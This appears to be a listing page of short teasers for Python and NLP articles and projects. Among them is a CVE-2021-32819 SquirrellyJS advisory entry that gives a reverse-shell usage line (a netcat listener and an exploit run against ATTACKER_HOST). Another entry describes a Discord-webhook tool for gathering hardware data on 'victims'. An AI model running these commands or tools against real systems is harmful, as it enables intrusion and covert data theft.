Advanced, NLP, Project, Python, Text, Unstructured Data

Why and how to use BERT for NLP Text Classification?

This article was published as a part of the Data Science Blogathon Introduction NLP or Natural Language Processing is an exponentially growing field. In the “new normal” imposed by covid19, a significant proportion of educational material, news, discussions happen through digital media platforms. This provides more text data available to work upon! Originally, simple RNNS (Recurrent Neural Networks) were used for training text data. But in recent years there have been many new research publications that provide state-of-the-art results. One of […]

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Advanced, NLP

Part 12: Step by Step Guide to Master NLP – Grammar in NLP

This article was published as a part of the Data Science Blogathon Introduction This article is part of an ongoing blog series on Natural Language Processing (NLP). In the previous article, we discussed some basic concepts related to syntactic analysis. In that article, we covered concepts such as parsing, parse trees, and parsers, etc. But we not discussed the concept of grammar in that article. So, In continuation to that article, we will complete a Syntactic analysis in this article. So, […]

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Python

Measuring memory usage in Python: it’s tricky!

If you want your program to use less memory, you will need to measure memory usage. You’ll want to measure the current usage, and then you’ll need to ensure it’s using less memory once you make some improvements. It turns out, however, that measuring memory usage isn’t as straightforward as you’d think. Even with a highly simplified model of how memory works, different measurements are useful in different situations. In this article you’ll learn: A simplified but informative model of […]

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API

SquirrellyJS mixes pure template data with engine configuration options through the Express render API

CVE-2021-32819 CVE-2021-32819 : SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications. Source https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/ Analysis https://blog.diefunction.io/vulnerabilities/ghsl-2021-023 squirrelly v8.0.0 >= v8.0.8 Remote Code Execution Environment Ubuntu 20.04.1 Example nc -lvp 443 python3 exploit.py http://example.com/ ATTACKER_HOST 443 GitHub https://github.com/Abady0x1/CVE-2021-32819    

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Data Visualization

Exploratory data analysis and build powerful data and viz tools using Python

Panel-Chemistry The purpose of the panel-chemistry project is to make it really easy for you to do exploratory data analysis and build powerful data and viz tools within the domain of Chemistry using Python and HoloViz Panel. Check out the panel-chemistry examples on Binder Jupyter Notebook Jupyter Labs Panel Apps 🏁 Background This project is just starting (2021-05-19) and not much more than an idea. It was started by the discussion How to display JSME molecular editor with Panel? in […]

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Hardware

A project tried to get information about the hardware of your victims

WebhookHardware git clone https://github.com/Br3Fuck/WebhookHardware/ cd WebhookHardware / And configure the file! pip install requests || pip3 install requests pip install discord_webhook || pip3 install discord_webhook pip install discord || pip3 install discord pip install threading || pip3 install threading pip install uuid || pip3 install uuid pip install psutil || pip3 install psutil GitHub https://github.com/Br3Fuck/WebhookHardware    

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Games

Quiz game made entirely with python and pygame for school work

Pygame-Quiz Quiz game made entirely with python and pygame for school work. Quiz made entirely with pygame for schoolwork How to install If you already have python and pygame installed on your computer: Download the ‘images’ folder Download the ‘game.py’ file Run the ‘game.py’ file Note: the ‘game.py’ file and the ‘images’ folder must be together in the same location/folder on your computer If you don’t have python and pygame installed (beginners): Download the ‘alternative quiz’ folder Run game.exe game […]

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Web Crawling & Web Scraping

A Python Scraper for Downloading Instagram Profile’s Posts,stories and ProfilePic

InstAstra A Python Instagram Scraper for Downloading Profile’s Posts, stories, ProfilePic and See the Details of Particular Instagram Profile. InstAstra is the an Instagram Scraper tool which lets you get Information about any Instagram Profile. This tool also let’s you Download the profile DP, all saved Stories, all posts of any instagram account. ⩥ Instaloader python module is used to make the project Work! Developed by : Jeevan-Gharate Module Used : Instaloader To Use the Tool simply Download the zip […]

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Web Crawling & Web Scraping

Collects all accepted codes submitted within the given timeframe of any contest

Collects all accepted (partial and full scored) codes submitted within the given timeframe of any contest. And saves them locally with a file name . for plagiarism check. Demo: Installation: In Terminal: Run pip install selenium Run pip install pyperclip Downloads: Procedure: Type chrome://version in Chrome Search Bar according to your chrome version and Operating System Download ChromeDriver zip file Unzip (extract) the file to your preferred location Copy the path Changes: Copy the Path of chromedriver.exe (Example: C:UsersuserDownloads) add […]

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